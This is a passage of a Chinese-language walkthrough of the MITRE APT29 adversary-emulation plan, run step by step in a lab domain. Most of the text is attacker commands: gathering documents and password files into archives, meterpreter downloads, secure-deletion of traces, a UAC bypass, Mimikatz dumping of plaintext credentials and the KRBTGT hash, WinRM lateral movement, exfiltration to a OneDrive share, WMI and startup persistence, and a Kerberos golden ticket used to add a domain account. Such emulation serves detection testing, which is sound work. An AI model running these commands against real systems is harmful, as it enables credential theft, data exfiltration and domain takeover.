PS C:\Windows\system32> $env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*jack*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\working.zip -Force
PS C:\Program Files\SysinternalsSuite>cd C:\Windows\Temp
PS C:\Program Files\SysinternalsSuite>.\Rar.exe a -hpfGzq5yKw "$env:USERPROFILE\Desktop\working.zip" "$env:APPDATA\working.zip"
PS C:\Program Files\SysinternalsSuite> exit
[meterpreter] >download "C:\\Users\\jack\\Desktop\\working.zip" .
9.C
[meterpreter] >shell
[meterpreter (Shell)] > cd "C:\Windows\Temp"
[meterpreter (Shell)] > .\sdelete64.exe /accepteula "C:\Windows\Temp\Rar.exe"
[meterpreter (Shell)] > .\sdelete64.exe /accepteula "C:\Users\jack\AppData\Roaming\working.zip"
[meterpreter (Shell)] > .\sdelete64.exe /accepteula "C:\Users\jack\Desktop\working.zip"
[meterpreter (Shell)] > del "C:\Windows\Temp\sdelete64.exe"
终止会话
[meterpreter (Shell)] >exit
[meterpreter] >exit
msf> exit
Step 10 – 持久性执行
初始受害者重新启动,使用合法用户登录,此活动将触发先前建立的持久性机制,即执行新服务(T1035)和Windows启动文件夹(T1060)中的有效负载。启动文件夹中的有效负载使用被盗的令牌执行后续的有效负载(T1106,T1134)。
10.A
重启初始受害者;等待系统启动。收到具有SYSTEM权限的meterpreter会话。
10.B
通过登录初始受害者打开我的电脑,双击C盘,触发启动文件夹的持久性。
清理后门
Cmd >sc delete “javamtsup”
Powershell > Remove-Item -Force -Path "HKLM:\SOFTWARE\Javasoft"
Powershell > Remove-Item "C:\Windows\System32\hostui.exe"
Powershell > Remove-Item "C:\Windows\System32\hostui.bat"
Powershell > Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\hostui.lnk"
清理两台受害者系统的C:\Windows\Temp目录。
第2天
红队设置
#新建poshC2项目
$ posh-project -n p1
#修改配置
$ posh-config
#开启服务
$ posh-server
#进入交互式
$ posh
Payload生成
Payload1: schemas.ps1
/var/poshc2/p1/payloads/payload.bat,仅将编码部分插入$enc_ps(第11行)schemas.ps1
Payload2: stepFifteen_wmi.ps1
将/var/poshc2/p1/payloads/payload.bat所有内容复制到CommandLineTemplate变量
Payload3:stepFourteen_bypassUAC.ps1
将/var/poshc2/p1/payloads/payload.bat所有内容复制放入-Value变量(第二行)
Payload4:blob
在Windows主机上生成DLL负载:
1.[CMD]> certutil -encode [file].dll blob
2.[CMD]> powershell
3.[PS]> $blob = (Get-Content .\blob) -join ""; $blob > .\blob
4.blob在文本编辑器中打开文件
5.删除文件末尾的新行并复制所有内容6.将值粘贴到$bin变量(第6行)中schemas.ps1
Payload5:stepFourteen_credDump.ps1
参考下方注释。
Payload6:Invoke-Mimikatz-Evals.ps1
把第1行函数名改为Invoke-Mimikatz-Evals,第886行注释,替换成 $GetProcAddress = $UnsafeNativeMethods.GetMethod(‘GetProcAddress’, [reflection.bindingflags] “Public,Static”, $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
参考:https://github.com/PowerShellMafia/PowerSploit/issues/293
受害者设置
对于最初的受害者(具有Microsoft Outlook的工作站):
1.启用对Microsoft Outlook的程序访问(https://www.slipstick.com/developer/change-programmatic-access-options/)2.打开Outlook并登录3.将以下文件复制到初始受害者的桌面上:
a) 2016_United_States_presidential_election_-_Wikipedia.html
b) make_lnk.ps1
c) schemas.ps1
4.复制MITRE-ATTACK-EVALS.HTML到受害者的“文档”文件夹中5.执行make_lnk.ps1(右键单击>使用PowerShell运行),将生成37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk6.拖动make_lnk.ps1和schemas.ps1到回收站,然后清空回收站
开始
Step 11 – 初始违规
最初的违规行为是合法用户单击(T1204)链接文件有效负载,该链接负载执行在隐藏的另一个伪文件(T1096)上执行的备用数据流(ADS),该伪文件是作为网络钓鱼活动的一部分提供的。ADS执行一系列枚举命令,以确保在通过Windows注册表运行键条目(T1060)建立持久性之前,它没有在虚拟化分析环境(T1497,T1082,T1120,T1033,T1016,T1057,T1083)中执行。嵌入式DLL有效负载,该有效负载已解码并拖放到磁盘(T1140)。然后,ADS执行PowerShell暂存器(T1086),该暂存器使用HTTPS协议(T1071,T1032)通过端口443(T1043)创建C2连接。
11.A
以apt.local\john用户身份执行37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk(双击),输出将显示在终端中。获得PoshC2会话。
Step 12 – 强化访问
攻击者修改了先前建立的持久性机制中使用的DLL有效载荷(T1099)的时间属性,以匹配在受害者的System32目录(T1083)中找到的随机文件的时间属性。然后,攻击者枚举Windows注册表(T1012)中记录的用户安装的已注册AV产品(T1063)和软件。
12.A
PS 1>loadmoduleforce /home/kali/payloads/day2/timestomp.ps1
PS 1>timestomp C:\Users\jack\AppData\Roaming\Microsoft\kxwn.lock
切换到posh-server查看日志
12.B
PS 1> loadmoduleforce /home/kali/payloads/day2/stepTwelve.ps1
PS 1> detectav
12.C
PS 1> software
Step 13 – 本地枚举
攻击者使用各种Windows API调用执行本地枚举,特别是收集本地计算机名(T1082),域名(T1063),当前用户上下文(T1016)和正在运行的进程(T1057)。
13.A
PS 1> loadmoduleforce /home/kali/payloads/day2/stepThirteen.ps1
PS 1> comp
13.B
PS 1> domain
13.C
PS 1> user
13.D
PS 1> pslist
Step 14 – 提权
攻击者通过用户帐户控制(UAC)绕过(T1122,T1088)提升特权。然后,攻击者使用新的提升的访问权限在自定义WMI类(T1047)中创建和执行代码,该类将下载(T1105)并执行Mimikatz来转储纯文本凭据(T1003),该纯文本凭据经过解析,编码和存储在WMI中 类(T1027)。在跟踪WMI执行已完成(T1057)之后,攻击者读取存储在WMI类中的纯文本凭据(T1140)。
14.A
PS 1> loadmoduleforce /home/kali/payloads/day2/stepFourteen_bypassUAC.ps1
PS 1> bypass
获得一个高权限新的会话。
14.B
Kali:
$ cd /home/kali/payloads/day2/
$ python2 -m SimpleHTTPServer 8080
切换到新的高权限会话中
PS 2> loadmoduleforce /home/kali/payloads/day2/stepFourteen_credDump.ps1
PS 2> wmidump
切换到posh-server查看是否抓取到明文密码,如果没有参考受害者系统准备第8条。
Step 15 – 建立持久性
攻击者通过创建WMI事件订阅(T1084)以在当前用户(T1033)登录时执行PowerShell有效负载,来建立对受害者的持久访问的辅助手段。
15.A
PS 2>loadmoduleforce /home/kali/payloads/day2/stepFifteen_wmi.ps1
PS 2> wmi
注意:不要再次使用RDP登录访问,否则将触发打算用于步骤20的持久性执行。
Step 16 – 横向运动
攻击者通过Windows API(T1106)枚举环境的域控制器(T1018)和域的安全标识符(SID)(T1033)。接下来,攻击者使用以前转储的凭据(T1078)创建到域控制器的远程PowerShell会话(T1028)。通过此连接,攻击者将在步骤14中使用的Mimikatz二进制文件复制到域控制器(T1105),然后转储KRBTGT帐户的哈希(T1003)。
16.A
切换到低权限会话
PS 1> loadmoduleforce /home/kali/payloads/day2/powerview.ps1
PS 1>get-netdomaincontroller
16.B
PS 1> loadmoduleforce /home/kali/payloads/day2/stepSixteen_SID.ps1
PS 1>siduser
保存域 SID并删除 RID,Sid: S-1-5-21-374680414-1105030488-2607252970
16.C
切换到新的高权限会话中
PS 2>loadmoduleforce /home/kali/payloads/day2/Invoke-WinRMSession.ps1
PS 2> invoke-winrmsession -Username "apt.local\john" -Password "Passw0rd!" -IPAddress 10.0.0.100
PS 2>Invoke-Command -Session $oejtw -scriptblock {Get-Process} | out-string
记住session_id,注意:如果在此遇到错误,请重新启动域控制器,然后在重新执行16.C之前重新运行2个winrm安装程序命令。
16.D
PS 2> Copy-Item m.exe -Destination "C:\Windows\System32\" -ToSession $oejtw
PS 2> Invoke-Command -Session $oejtw -scriptblock {C:\Windows\System32\m.exe privilege::debug "lsadump::lsa /inject /name:krbtgt" exit} | out-string
PS 2> Get-PSSession | Remove-PSSession
保存NTLM hash,NTLM : 5fae7c899798b24d56c697f86e8cc7d6
Step 17 – 收集
攻击者在收集(T1005)和暂存(T1074)感兴趣的文件之前,先收集存储在本地电子邮件客户端(T1114)中的电子邮件。暂存文件将被压缩(T1002),并带有GIF文件类型的魔术字节(T1027)。
17.A
切换到低权限会话
PS 1> loadmoduleforce /home/kali/payloads/day2/stepSeventeen_email.ps1
PS 1> psemail
17.B
切换到新的高权限会话中
PS 2> New-Item -Path "C:\Windows\Temp\" -Name "WindowsParentalControlMigration" -ItemType "directory"
PS 2> Copy-Item "C:\Users\john\Documents\MITRE-ATTACK-EVALS.HTML" -Destination "C:\Windows\Temp\WindowsParentalControlMigration"
17.C
PS 2> loadmoduleforce /home/kali/payloads/day2/stepSeventeen_zip.ps1
PS 2> zip C:\Windows\Temp\WindowsParentalControlMigration.tmp C:\Windows\Temp\WindowsParentalControlMigration
Step 18 – 渗出
攻击者将本地驱动器映射到在线Web服务帐户(T1102),然后将先前暂存的数据提取到此存储库(T1048)。
18.A
获得OneDrive账户的CID (参考:https://www.laptopmag.com/articles/map-onedrive-network-drive)
PS 2> net use y: https://d.docs.live.net/E3_________C93 /user:apt.local@outlook.com "D{IFt&______-@XV"
PS 2> Copy-Item "C:\Windows\Temp\WindowsParentalControlMigration.tmp" -Destination "Y:\WindowsParentalControlMigration.tmp"
登录OneDrive查看。
Step 19 – 清理
攻击者通过在powershell.exe中反射性加载并执行Sdelete二进制文件(T1055),删除与该访问相关的各种文件(T1107)。
19.A
PS 2> loadmoduleforce /home/kali/payloads/day2/wipe.ps1
PS 2> wipe "C:\Windows\System32\m.exe"
注意:此处存在ETW的一个已知错误(Invoke-ReflectivePEInjection即时修补ETW调用的函数),因此callback可能会死机并挂起。
19.B
PS 2> wipe "C:\Windows\Temp\WindowsParentalControlMigration.tmp"
19.C PS 2> wipe "C:\Windows\Temp\WindowsParentalControlMigration\MITRE-ATTACK-EVALS.HTML"
Step 20 – 利用持久性
初始受害者重新启动,使用合法用户登录,此活动将触发先前建立的持久性机制,即Windows注册表运行键引用的DLL有效负载(T1085)的执行和WMI事件订阅(T1084),后者执行新的PowerShell暂存器(T1086)。攻击者使用来自先前漏洞的材料,使用新的访问权限来生成Kerberos Golden Ticket(T1097),该材料用于与新受害者建立远程PowerShell会话(T1028)。通过此连接,攻击者在域内创建一个新帐户(T1136)。
20.A
PS 2> restart-computer -force
使用RDP登录受害者系统,持久性机制应在登录时触发 (1 for DLL, 1 or more for WMI event subscription)
注意:您可能需要重复登录过程几次(关闭并重新打开RDP会话),WMI执行才能触发
20.B
切换到System权限的会话中
PS 3>klist purge
PS 3>loadmoduleforce /home/kali/payloads/day2/Invoke-Mimikatz-Evals.ps1
PS 3> Invoke-Mimikatz-Evals -command ""kerberos::golden /domain:apt.local /sid:S-1-5-21-374680414-1105030488-2607252970 /rc4:5fae7c899798b24d56c697f86e8cc7d6 /user:john /ptt""
PS 3> klist
PS 3> Enter-PSSession PC1
PS 3>Invoke-Command -ComputerName PC1 -ScriptBlock {net user /add toby "pamBeesly<3"}
清理后门
删除C:\Users\john\AppData\Roaming\Microsoft\kxwn.lock
使用Autoruns删除Logon中WebCache注册表
使用Autoruns删除WMI下的启动项
通过Azure Resource Manager (ARM)模板部署ATT&CK APT29评估环境
1.https://medium.com/threat-hunters-forge/mordor-labs-part-1-deploying-att-ck-apt29-evals-environments-via-arm-templates-to-create-1c6c4bc32c9a2.https://medium.com/threat-hunters-forge/mordor-labs-part-2-executing-att-ck-apt29-evals-emulation-plan-day1-17fae7a812293.https://medium.com/threat-hunters-forge/mordor-labs-part-3-executing-att-ck-apt29-evaluations-emulation-plan-day2-417cadc2a337
评估过程视频
Day 1 : https://youtu.be/fJAuBrzYTzI
Day 2 : https://youtu.be/PzYKvfwoHEY
参考链接
1.https://attackevals.mitre-engenuity.org/APT29/
2.https://mitre-attack.github.io/attack-navigator/enterprise/#layerURL=https%3A%2F%2Fraw.githubusercontent.com%2Fmitre-attack%2Fattack-evals%2Fmaster%2FAPT29_Round2_Navigator_layer.json
3.https://github.com/n1nj4sec/pupy
4.https://github.com/rapid7/metasploit-framework
5.https://github.com/nettitude/PoshC2
6.https://github.com/center-for-threat-informed-defense/adversary_emulation_library
7.https://github.com/carbonblack/tau-tools/tree/master/threat_emulation/Invoke-APT29
8.https://github.com/mitre-attack/attack-arsenal/tree/master/adversary_emulation/APT29
9.https://github.com/OTRF/detection-hackathon-apt29
10.https://www.carbonblack.com/blog/invoke-apt29-adversarial-threat-emulation/
11.https://github.com/nettitude/PoshC2/blob/master/resources/modules/Invoke-WinRMSession.ps1
12.https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1
声明:本文来自山石网科安全技术研究院,版权归作者所有。文章内容仅代表作者独立观点,不代表士冗科技立场,转载目的在于传递更多信息。如有侵权,请联系 service@expshell.com。